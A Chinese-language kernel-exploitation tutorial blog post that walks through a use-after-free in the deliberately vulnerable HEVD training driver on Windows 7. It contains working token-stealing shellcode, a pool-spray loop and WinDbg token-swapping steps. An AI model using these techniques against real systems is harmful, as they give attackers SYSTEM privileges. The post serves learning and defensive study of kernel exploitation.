作者: wjllz
博客鏈接: https://www.redog.me/2018/11/02/windows-kernel-exploit-part-1/
前言
Hello, 歡迎來到windows kernel exploit系列, 這是UAF系列的第一篇. 三篇的主要內容如下.
[+] 第一篇: HEVD給的樣例熟悉UAF
[+] 第二篇: CVE-2015-0057在win8 X64下的利用
[+] windows 10 x64下的UAF
關于第三篇的內容我還沒有決定好, 最近在研究CVE-2018-8410, 如果分析的出來的話. 第三篇的內容我會給出CVE-2018-8410的分析報告. 如果失敗的話, 我會挑選一下windows 10下的X64的UAF進行分析. 由于win10加了很多緩解措施, 所以那會是一個相當有趣的過程.
博客的內容我是倒著推的, 因為我喜歡有目的性的工作. 所以決定在最后再進行漏洞原理的分析。而原理的探討主要是通過對補丁的探討而完成.
在學習的過程中, 我給出了實驗相應步驟的動態圖. 希望能對您有所幫助.
0x01: 實驗環境的搭建
由于是系列的第一節, 所以講一下環境的搭建, 在經過漫長的猶豫之后, 我決定把環境的搭建制作成為一個gif圖, 因為覺得動態的過程更容易理解一些.
Tips: 本次環境的搭建環境. 僅在win7上面適用. win10(win 8 以后) 下因為驅動簽名的問題會有一些小小的不同, 后面會給出win10的教程.

下面是對環境搭建步驟詳解.
1.1 環境要求
[+] 配置支持
調試宿主機: windows 10 X64
目標機子: windows 7 sp1 x86
調試器: windbgx.exe
輔助工具: virtuakD
1.2 第一步
把virtualKD解壓到宿主調試機C:\SoftWare, 將宿主機C:/software/target目錄復制到target機子C:\下.
1.3 第二步
打開target機器下的C:\target\vminstall.exe 點擊yes. 電腦重啟
1.4 第三步
設置Vmcommon的調試器路徑
1.5 第四步
開始調試.
0x02: 漏洞利用
2.1: 思路詳解.
在我自己的學習過程中, 我喜歡把自己學的東西切成幾大塊, 假設為ABCD四個大塊, 在B無法理解的情況下, 我能夠去弄明白ACD就好.這樣即使無法完成此次學習, 我也能保證能在此次的學習過程中得到有用的技能.
讓我們來假設一下作為一個對UAF不理解的小白我們會把漏洞的利用過程切為那幾個部分.
[+] 編寫shellcode(最終目的是為了運行shellcode)
[+] 分析漏洞
[+] 根據漏洞原理, 偽造能夠利用的數據(最終的結果是可以利用shellcode).
[+] 觸發漏洞
[+] 運行cmd, 驗證提權是否成功.
在進行上面的分析之后, 我們可以先做一些比較輕松的部分.
[+] 運行cmd進行驗證.
[+] 編寫Shellcode
2.2: 運行cmd進行驗證.
我相信有部分開始做內核的朋友可能會比較好奇為什么最后運行cmd, 輸入whoami之后, 就能證明自己提權成功了, 很不幸的, 這是一段漫長的故事. 其實也還是很簡單的. 原理如下.
[+] 我們運行了exp, exp記作進程A
[+] EXP里面創建一個cmd子進程, 記作子進程B
[+] 子進程會默認繼承父進程的權限
[+] 父進程提權成功, 可以在子進程體現.(類似于老子帥不帥可以從兒子那里得到相應的推測)
2.2.1: 編寫創建cmd子進程程序.
這一部分的代碼感謝小刀師傅, 來源于他的博客和github. 在他的博客和github上面我學習到了很多的有用的東西.
//創建cmd子進程的代碼.
static
VOID xxCreateCmdLineProcess(VOID)
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi); // 創建cmd子進程
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
很多時候, 我覺得有些細節其實是可以不用太在意的. 你可以幫他當作拖油瓶, 只是附帶的產物, 比如上面的si的賦值之類的. 讓我們關注一下重點函數.
2.2.2: CreateProcessW函數
CreateProcessW創建一個子進程, 在MSDN上面你可以的到詳細的解釋. 我們列出重要參數的詳細解釋.
[+] wzFilePath --> 創建的進程名稱, cmd
2.2.2: 調用cmd子進程
我們在main函數當中進行調用. main函數現在的代碼如下.
// main函數的代碼.
int main()
{
xxCreateCmdLineProcess(); //調用cmd
return 0;
}
2.2.3: 運行的結果
運行的結果如下圖.

我們發現我們現在的提權沒有成功, 這是肯定的. 因為我們并沒有進行漏洞的利用.
2.3: 編寫shellcode的代碼
作為一個有靈魂的內核選手, 這個地方的shellcode我們當然采用匯編編寫. 編寫之前, 我們繼續對我們所學的東西進行分塊.
[+] ShellCode目的: 進行提權
[+] 提權手段: 將system進程的Token賦值給cmd
[+] 提權的匯編步驟:
==> 找到system的Token, 記作TokenSys
==> 找到cmd的Token. 記作TokenCmd
==> 實現TokenCmd = TokenSys
2.3.1: ShellCode提權方法的驗證.
okok, 作為一個內核選手, 我們深知調試器永遠不會騙人. 所以我們可以通過調試器來幫助我們驗證一下我們的思路是否正確.
2.3.1.0: 找到System進程的TokenSys
運行如下命令:
!dml_proc
我們能得到關于system如下的結果.
kd> !dml_proc
Address PID Image file name
857bd920 4 System
86357a10 120 smss.exe
86385030 178 csrss.exe
86be3b90 1ac wininit.exe
863e4b68 1b4 csrss.exe
873f1d40 1d8 winlogon.exe
...
解釋:
PID:0004 --> system在win7下PID永遠為4
PROCESS: 857bd920 -- 進程起始的地址.
接著我們運行如下的命令, 查看system進程的Token.
kd> dt nt!_EX_FAST_REF 857bd920 +f8
+0x000 Object : 0x8940126f Void
+0x000 RefCnt : 0y111
+0x000 Value : 0x8940126f -- value是Token的值.
2.3.1.1: 找到cmd進程的TokenCmd
與找到TokenSys的方法類似, 在虛擬機里面運行一個cmd. 我們可以通過相同的方式找到TokenCmd
kd> dt nt!_EX_FAST_REF 871db030 +f8
+0x000 Object : 0x967ee085 Void
+0x000 RefCnt : 0y101
+0x000 Value : 0x967ee085 -- value是Token的值.
2.3.1.2: 進行TokenCmd = TokenSys.
這一部分, 我們采用調試器輔助完成. Token存放在進程偏移f8處, 我們可以把TokenCmd按照如下的命令重新賦值.
ed 871db030+f8(TokenCmd的存放地址) 8940126f(TokenSys)
此時我們再對cmd的Token進行解析. 發現Token的值已經和Sytem的Token出奇一致.
kd> dt nt!_EX_FAST_REF 871db030 +f8
+0x000 Object : 0x8940126f Void
+0x000 RefCnt : 0y111
+0x000 Value : 0x8940126f
此時我們運行cmd的whoami命令.
2.3.2: 提權的匯編實現.
匯編實現的整體代碼如下. 關鍵點我會給出注釋, 如果你需要更詳細的解釋, 你可以在這里找到答案. (Tips: 匯編代碼只是對我們上面手工做的過程的一次模仿. 別畏懼它)
// 提權的匯編代碼.
void ShellCode()
{
_asm
{
nop
nop
nop
nop
pushad
mov eax,fs:[124h]
mov eax, [eax + 0x50] // 找到_EPROOCESS
mov ecx, eax
mov edx, 4 // edx = system PID
// 循環是為了獲取system的_EPROCESS
find_sys_pid:
mov eax, [eax + 0xb8]
sub eax, 0xb8 // 鏈表遍歷
cmp [eax + 0xb4], edx // 根據PID判斷是否為SYSTEM
jnz find_sys_pid
// 替換Token
mov edx, [eax + 0xf8]
mov [ecx + 0xf8], edx
popad
ret
}
}
一點小Tips:
[+] ShellCode的原理其實不用太了解, 大多數時候你可以把它當作stdio.h提供給你的printf函數, 直接用就好
[+] 堆棧的平衡建議采用調試解決.
2.3.3: ShellCode的有效性的驗證.
調試器無所不能(但是不能幫我找到女朋友…), 我們想要運行shellcode, 如何運行???.
在閱讀了源碼之后, 我們發現了一個幸福的代碼片段.
if (g_UseAfterFreeObject->Callback) {
g_UseAfterFreeObject->Callback();
}
g_UseAfterFreeObject是一個全局變量, 他的定義如下.
PUSE_AFTER_FREE g_UseAfterFreeObject = NULL;
typedef struct _USE_AFTER_FREE {
FunctionPointer Callback;
CHAR Buffer[0x54];
} USE_AFTER_FREE, *PUSE_AFTER_FREE;
有趣, 如果我們能夠篡改他的函數指針指向ShellCode地址. 那么我們就能在內核當中調用我們的shellcode. 接下來做一個小小的演示
Tips:
這一部分有些小小的東西需要后面的東西. 請關注篡改函數指針. 其他的內容不會的假裝自己會, 看了后面的再來理解前面的.
在未篡改之前, g_UseAfterFreeObject的結構長這樣.
dt HEVD!g_UseAfterFreeObject
0x877deb58
+0x000 Callback : 0x87815558 void +ffffffff87815558
+0x004 Buffer : [84]
在進行了一堆騷操作之后(我們后面的主要內容就是為了講解這個地方的騷操作).
g_UseAfterFreeObject的結構長這樣.
dt HEVD!g_UseAfterFreeObject
0x877deb58
+0x000 Callback : 0x001f1000 void UAF_AFTER_FREE_EXP!ShellCode+0
+0x004 Buffer : [84] "
這樣的話, 我們就能夠運行shellcode了, 提權成功如圖.

2.4: 執行一堆騷操作.
我們前面說過, 后面的內容主要是一堆騷操作. 來執行替換g_UseAfterFree函數指針的功能.
2.4.1: 偽造能夠利用的數據
USE AFTER FREE, 從這個名字來看是指在FREE狀態后依然能夠被使用. 有趣有趣. 那我們來關注一下FREE狀態之后如何使用.
在我們從小到大的過程中. 我們知道POOL是動態分配的, 就像你永遠不知道明天的巧克力是什么味道一樣(當然作為一個單身狗, 明天也是沒有巧克力的, 太凄涼了). 你永遠也不知道下一塊分配的POOL在那個位置.
Wait, 我們真的不知道嗎??? 如果你有興趣你可以在此處的paper找到相應的POOL分配和釋放算法的相關解釋. 在這里我直接給出結論.
[+] 假設想要被分配的堆的大小是258. 操作系統會去選取最適合258(>=)的空閑堆位置來存放他.
我們來看一下我們的UAF(假設已經成功)POOL的大小. 我們申請一個和他一模一樣的堆. 是不是有一定的概率使我們分配后的堆的剛好是這個地方呢. 答案是肯定的. 但是有一個問題. 一定的概率. 我們希望我們的利用代碼能夠更加的穩定. 假設此時操作一共有X個大小的空閑區域. 我們的概率是1/X, 分配兩個是2/X, 不斷增加.
[+] n/X -- n是我們請求分配的POOL個數.
最終我們的代碼如下.
// 構造美好的數據
PUSEAFTERFREE fakeG_UseAfterFree = (PUSEAFTERFREE)malloc(sizeof(FAKEUSEAFTERFREE));
fakeG_UseAfterFree->countinter = ShellCode;
RtlFillMemory(fakeG_UseAfterFree->bufffer, sizeof(fakeG_UseAfterFree->bufffer), 'A');
// 噴射
for (int i = 0; i < 5000; i++)
{
// 此處的函數用于Pool的分配.
DeviceIoControl(hDevice, 0x22201F, fakeG_UseAfterFree, 0x60, NULL, 0, &recvBuf, NULL);
}
2.4.2: 漏洞成因分析(為什么在那個時候我們處于Free狀態).
我們到這里其實利用就已經做完了, 但是永遠別忘記一件事, 這只是一個練習. 與真正的漏洞分析差的遠. 所以我們學的應該不是教程, 而是這一段在實踐當中可以幫助我們做些什么.
漏洞成因的分析在我實踐的過程中. 有幾種手段.
[+] 查閱漏洞發現者的給出的相關資料
[+] 查閱其他人做的分析筆記
[+] 閱讀POC
[+] 補丁比對
這個地方我們來模擬補丁比對. 實戰當中你可以使用bindiff, 為了讓接下來的過程更加的簡單. 我們采用源碼分析.
#ifdef SECURE
// Secure Note: This is secure because the developer is setting
// 'g_UseAfterFreeObject' to NULL once the Pool chunk is being freed
ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);
g_UseAfterFreeObject = NULL;
#else
// Vulnerability Note: This is a vanilla Use After Free vulnerability
// because the developer is not setting 'g_UseAfterFreeObject' to NULL.
// Hence, g_UseAfterFreeObject still holds the reference to stale pointer
// (dangling pointer)
ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);
#endif
在這個地方, 安全與不安全的主要理由是g_UseAfterFreeObject最后是否為NULL.
漏洞點: 如果不把它變為NULL, 后續可以繼續應用.
這個地方有一個小小的問題, 在下一節我們給出我們的套路.
0x3 總結.
3.1: 補丁的探討.
我們來對安全的版本進行一點小小的討論.
[+] g_UseAfterFreeObject = NULL
[+] if(g_UseAfterFreeObject->CallBack) ==> if(NULL->CallBack) ==> if(0->CallBack)
隨著思路的推理, 我們的嘴角逐漸浮現出笑容. windows 7 下, 我們可以對申請0地址, 并且填充相應的內容. 假設shellcode地址為0x00410000. 我們通過對0地址進行填充內容.
00000000: 00410000 --> 指向shellcode地址
我們也能順利執行我們的shellcode. ==> 此處引發了一個空指針解引用漏洞.
OK, 我們驗證了這是一個不安全的補丁. 更安全的補丁應該類似于這樣
if(g_UseAfterFreeObject != NULL)
{
if(g_UseAfterFreeObject->CallBack)
{
g_UseAfterFreeObject->CallBack();
}
}
很遺憾的, 當我發現這個的時候, 發現創作者已經做了這樣一個檢測…
3.2: 關于挖洞的探討.
在進行這次學習之后, 我有一個小小的猜測. 是否存在可能性, 安全人員在進行uaf漏洞補丁的時候. 忽視了空指針解引用呢.
自己思考的比較簡陋的方式:
[+] 補充最新的補丁.
[+] 閱讀更新報告, 確定漏洞集
[+] 編寫IDAPy, 完成如下的功能.
==> 檢索匯編代碼. 確定搜選補丁函數當中的CMP個數.(如果小于2, 可以做重點分析)
==> 檢索匯編代碼, 確定相鄰8 byte - 16byte范圍(這個范圍需要具體研究.). 是否同時存在兩個CMP
3.3: UAF漏洞利用的套路總結.
[+] 原理: 分配的POOL為賦值為NULL, 導致后面可用.
[+] 觸發漏洞
[+] 偽造數據(依賴于偽造數據實現shellcode運行)
[+] 調用相關的函數進行堆噴射
[+] CMD驗證
3.4: 實驗結果驗證

0x4: 相關鏈接.
- sakura師傅的博客: http://eternalsakura13.com/
- 小刀師傅的博客: https://xiaodaozhi.com/
- 本文exp地址:https://github.com/redogwu/blog_exp_win_kernel/blob/master/kernel_uaf_1.cpp
- 一個大大的博客: https://rootkits.xyz/
- shellcode編寫: https://hshrzd.wordpress.com/2017/06/22/starting-with-windows-kernel-exploitation-part-3-stealing-the-access
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/872/
